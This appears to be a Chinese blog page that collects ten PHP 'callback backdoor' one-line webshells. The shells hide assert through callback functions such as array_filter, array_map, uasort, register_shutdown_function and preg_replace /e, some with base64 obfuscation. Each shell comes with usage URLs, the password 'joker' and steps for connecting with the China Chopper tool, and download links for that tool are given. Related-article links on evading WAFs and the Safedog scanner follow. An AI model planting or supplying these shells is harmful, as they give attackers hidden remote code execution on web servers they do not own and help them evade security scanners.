8. php回调后门
中国菜刀下载,基于原版中国菜刀优化版20160309.
下载地址:
http://pan.baidu.com/s/1jHoJxHW
China chopper
http://pan.baidu.com/s/1eRxEYjC
下面是收集并整理的各种一句话,带使用方法:
1.php
<?php
$POST['POST']='assert';
$array[]=$POST;
$array[0]['POST']($_POST['joker']);
?>
用法: http://www.xxx.com/1.php
菜刀连接用法: http://www.xxx.com/1.php
密码:joker
详解: assert,是php代码执行函数,与eval()有同样的功能,应为$array[],POST[]都是数组,所以$array[]=$POST,就是把$POST数组的值赋给$array数组,这样的话$array[0]['POST']的输出就是assert,所以组成了一句话木马
assert($_POST['joker']),直接用菜刀链接即可
————————————————————————————————————————————————————————
2.php
<?php
error_reporting(0);
$g = array('','s');
$gg = a.$g[1].ser.chr('116');
@$gg($_POST[joker]);
?>
用法: http://www.xxx.com/2.php
菜刀连接用法: http://www.xxx.com/2.php
密码:joker
详解:$g是个数组,$g[1]='s',chr('116')='t',(https://blog.csdn.net/yabingshi_tech/article/details/19833217 ASCll码对应表),这样的$gg=
assert,@$gg($_POST[joker])不就是assert($_POST[joker]),是我们常见的一句话木马,直接菜刀链接即可
————————————————————————————————————————————————————————
3.php (array_filter+base64_decode)
<?php
error_reporting(0);
$e=$_REQUEST['e'];
$arr=array($_POST['joker'],);
array_filter($arr,base64_decode($e));
?>
用法: http://www.xxx.com/3.php?e=YXNzZXJ0
浏览器提交POST:joker=phpinfo();
菜刀连接用法: http://www.xxx.com/3.php?e=YXNzZXJ0
密码:joker
详解:base64_decode()函数主要用于base64的解码,YXNzZXJ0的base64解码后的结果为assert,$e接受浏览器传过来的参数,$arr是个数组,array_filter()函数用回调函数过滤数组中的值,
,如果我们传入$e的参数为YXNzZXJ0,这样的话我们的回调函数名就是assert,并且要过滤数组中的每一个参数
就构成了assert($_POST['joker']),常见的一句话木马,直接用菜刀链接即可
——————————————————————————————————————————————————————————
4.php
<?php
error_reporting(0);
call_user_func('assert', $_REQUEST['joker']);
?>
用法: http://www.xxx.com/4.php
菜刀连接用法: http://www.xxx.com/4.php
密码:joker
详解:call_user_func()函数把第一个参数作为回调函数调用,也就是说assert是被调用的回调函数,其余参数是回调函数的参数。
这样的话就直接构成了 assert($_REQUEST['joker']) 这样的一句话木马,直接用菜刀链接即可
———————————————————————————————————————————————————————————
5.php (array_map+base64_decode)
<?php
error_reporting(0);
$e = $_REQUEST['e'];
$arr = array($_POST['joker'],);
array_map(base64_decode($e), $arr);
?>
用法: http://www.xxx.com/5.php?e=YXNzZXJ0
浏览器提交POST:joker=phpinfo();
菜刀连接用法: http://www.xxx.com/5.php?e=YXNzZXJ0
密码:joker
详解:我们主要来看array_map()这个函数,array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。
这样的话我们传递过去的assert(),就会对$arr数组中的每一个值进行作用,assert($_POST['joker']) ,直接菜刀链接即可
————————————————————————————————————————————————————————————————————
6.php (uasort+base64_decode)
<?php
error_reporting(0);
$e = $_REQUEST['e'];
$arr = array('test', $_REQUEST['joker']);
uasort($arr, base64_decode($e));
?>
<?php
$e = $_REQUEST['e'];
$arr = array('test' => 1, $_REQUEST['joker'] => 2);
uksort($arr, $e);
?>
用法: http://www.xxx.com/6.php?e=YXNzZXJ0
浏览器提交POST:joker=phpinfo();
菜刀连接用法: http://www.xxx.com/6.php?e=YXNzZXJ0
密码:joker
详解:我们主要来看uasort,uksort这两个函数,uasort() 函数使用用户自定义的比较函数按照值对数组排序,并保持索引关联(不为元素分配新的键)
。uksort()函数用法与uasort()函数相似,不过是通过用户自定义的比较函数对数组按键名进行排序。第一个例子是按照比较值来排序,传递进来的自
定义函数assert(),会作用与($_REQUEST['joker']) 这个值,就构成了一句话木马;第二个例子是按照比较键名来排序,传递进来的自定义函数assert(),会作用与($_REQUEST['joker']) 这个键名,构成了一句话木马,直接操刀链接即可。
————————————————————————————————————————————————————————————
7.php
<?php
error_reporting(0);
$e = $_REQUEST['e'];
$arr = array($_POST['joker']);
$arr1 = array(1);
array_udiff($arr, $arr1, $e);
?>
用法: http://www.xxx.com/7.php?e=assert
浏览器提交POST:joker=phpinfo();
菜刀连接用法: http://www.xxx.com/7.php?e=assert
密码:joker
详解:我们先来看array_udiff()这个函数,array_udiff() 函数用于比较两个(或更多个)数组的键值 ,并返回差集,注释:该函数使用用户自定义函数来比较键值!
也就是说$e是可调用的比较函数,数组$arr与$arr1的差集为($_POST['joker']),1,这时候传过来assert()比较函数将会作用,assert($_POST['joker']),构成一句话
木马,直接用菜刀链接
————————————————————————————————————————————————————————————————————
8.php (array_walk+preg_replace)
<?php
error_reporting(0);
$e = $_REQUEST['e'];
$arr = array($_POST['joker'] => '|.*|e',);
array_walk($arr, $e, '');
?>
用法: http://www.xxx.com/8.php?e=preg_replace
浏览器提交POST:joker=phpinfo();
菜刀连接用法: http://www.xxx.com/8.php?e=preg_replace
密码:joker
详解:这个后门可以在php5.3下使用,array_walk()函数对数组中的每个元素应用用户自定义函数。在函数中,数组的键名和键值是参数。至于我们为什幺要
传一个preg_replace进去,preg_replace函数原型:mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])
特别说明: /e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。
意思是pattern也就是匹配模式出现/e修正符,后面的replacement就会被当作php代码执行,这样的话我们直接把 ($_POST['joker']) 这个小马运行,所以直接用菜刀链接即可
与之有相似功能的函数还有 : mb_ereg_replace() ,preg_filter()
——————————————————————————————————————————————————————————————————————
9.php
<?php
error_reporting(0);
$e = $_REQUEST['e'];
register_shutdown_function($e, $_REQUEST['joker']);
?>
浏览器GET提交:http://www.xxx.com/9.php?e=assert&settoken=phpinfo();即可执行phpinfo();
菜刀连接用法: http://www.xxx.com/9.php?e=assert
密码:joker
详解:register_shutdown_function()函数是来注册一个会在PHP中止时执行的函数,
- 执行完成
- exit/die导致的中止
- 发生致命错误中止
,这样的话等到php函数执行完成,就会调用我们传进去的php中止时执行的函数
构成 assert($_REQUEST['joker']) ,一句话木马 ,直接用菜刀链接即可
——————————————————————————————————————————————————————————————————————
10.php
<?php
error_reporting(0);
$e = $_REQUEST['e'];
declare(ticks=1);
register_tick_function ($e, $_REQUEST['joker']);
?>
浏览器GET提交:http://www.xxx.com/10.php?e=assert&settoken=phpinfo();即可执行phpinfo();
菜刀连接用法: http://www.xxx.com/10.php?e=assert
密码:joker
详解:register_tick_function函数必须要和declare流程控制机制合并使用,那么就先了解一下declare和tick:Tick 是一个在 declare 代码段中解释器每执行 N 条低级语句就会发生的事件。N 的值是在 declare 中的 directive 部分用 ticks=N 来指定的。在每个 tick 中出现的事件是由 register_tick_function() 来指定的。也就是说当ticks=1,每执行1行代码,就需要运行一次我们传过来的assert()函数,$_REQUEST['joker']是参数
这样就构成了assert($_REQUEST['joker']) ,直接用菜刀链接一句话木马即可
————————————————————————————————————————————————————————————
8. php回调后门的更多相关文章
- 创造tips的秘籍——PHP回调后门
作者:Phithon 原文连接:https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html 最近很多人分享一些过狗过盾的一句话, ...
- PHP后门之冷门回调函数(过waf)
header_register_callback(create_function('','return assert($_POST[\'k\']);')); $e = $_REQUEST['e']; ...
- php一句话后门过狗姿势万千之后门构造与隐藏【二】
第二章节主要带给大家一些后门构造思路,与安全狗文件特征检测的机制. 另外强调一下,这篇文章需要大家对于php有一定的认识. 本章节分为三大部分,第一部分针对初级,分析菜刀php代码的执行过程,较基础: ...
- php一句话后门过狗姿势万千之传输层加工(1)
写在前面:过狗相关的资料网上也是有很多,所以在我接下来的文章中,可能观点或者举例可能会与网上部分雷同,或者表述不够全面.但是我只能说,我所传达给大家的信息,是我目前所掌握或者了解的,不能保证所有人都会 ...
- ThinkPHP留后门技巧
原文链接:https://www.leavesongs.com/PENETRATION/thinkphp-callback-backdoor.html 90sec上有人问,我说了还有小白不会用.去年我 ...
- PHP一句话后门过狗姿势万千之后门构造与隐藏
第二章节主要带给大家一些后门构造思路,与安全狗文件特征检测的机制. 另外强调一下,这篇文章需要大家对于php有一定的认识. 本章节分为三大部分,第一部分针对初级,分析菜刀php代码的执行过程,较基础: ...
- 奇淫异巧之 PHP 后门
整理大部分来源信安之路 对于隐蔽来说,有以下几点要素: 1.熟悉环境,模拟环境,适应环境,像一只变色龙一样隐藏 2.清除痕迹,避免运维发现 3.避免后门特征值被 D 盾等工具检测到 姿势 一般过狗思路 ...
- Deformity PHP Webshell、Webshell Hidden Learning
目录 . 引言 . webshell原理介绍 . webshell的常见类型以及变种方法 . webshell的检测原理以及检测工具 . webshell隐藏反检测对抗手段 0. 引言 本文旨在研究W ...
- 关于PHP中的webshell
一.webshell简介 webshell就是以asp.php.jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门.黑客在入侵了一个网站后,通常会将asp或php后门文 ...
随机推荐
- 初学shell,今天遇到由wget下载到本地的网页源代码的乱码问题,无聊的写了一个转码的脚本
今天用wget想下载文件,结果下载了一堆本地的index.html文件,一查看全是乱码,然后百度了一下,网页的编码格式大概有三种: 1.utf-8 2.gb2312 3.gbk 要在网页源码中的< ...
- 高性能流媒体服务器EasyDSS前端重构(三)- webpack + vue + AdminLTE 多页面引入 element-ui
接上篇 接上篇<高性能流媒体服务器EasyDSS前端重构(二) webpack + vue + AdminLTE 多页面提取共用文件, 优化编译时间> 本文围绕着实现EasyDSS高性能流 ...
- 将众多小文件输入Hadoop的解决方案 可挂载的HDFS
配置HDFS为可挂载后: 1-可挂载后才支持非完整POSIX语义: 2-仍然不支持随机写入,仍然为“一次写入,多次读取”: 3-可能误用,导致众多小文件: : 1-使用Solr存储和检索小文件: 2- ...
- going
- Javascript模块化编程-require.js[3]
很多情况下,JS都是放到一个或者多个文件里,只要加载这些文件就可以了. 但是对于一些小型项目而言,这种写法是没有任何问题的. 但是对于某些大型网站,JS的量是很大的,如果还采用这种方式,网站时常在加载 ...
- Swift 学习笔记(面向协议编程)
在Swift中协议不仅可以定义方法和属性,而且协议是可以扩展的,最关键的是,在协议的扩展中可以添加一些方法的默认实现,就是在协议的方法中可以实现一些逻辑,由于这个特性,Swift是可以面向协议进行编程 ...
- Swift 学习笔记 (初始化)
初始化是为类 结构体 或者枚举准备实例的过程.这个过程需要给实例里的每一个存储属性设置一个初始值并且在新实例可以使用之前执行任何其它所必需的配置或初始化. 初始化器 初始化器在创建特定类型的实例时被调 ...
- mysql 二:操作表
的存储.在操作表之前,首先要用选定数据库,因为表都是建立在对应的数据库里面的.在这里我们使用之前建立的test数据库 mysql> use test; Database changed 创建表的 ...
- java参数传递------真心是值传递
未完待续 不同意的请尽管去深入看一下. 对象是引用传递没错,参数传递是值传递.
- 20145239杜文超 《Java程序设计》第7周学习总结
20145239 <Java程序设计>第7周学习总结 教材学习内容总结 Lambda 认识Lambda语法 Lambda语法概述: Arrays的sort()方法可以用来排序,在使用sor ...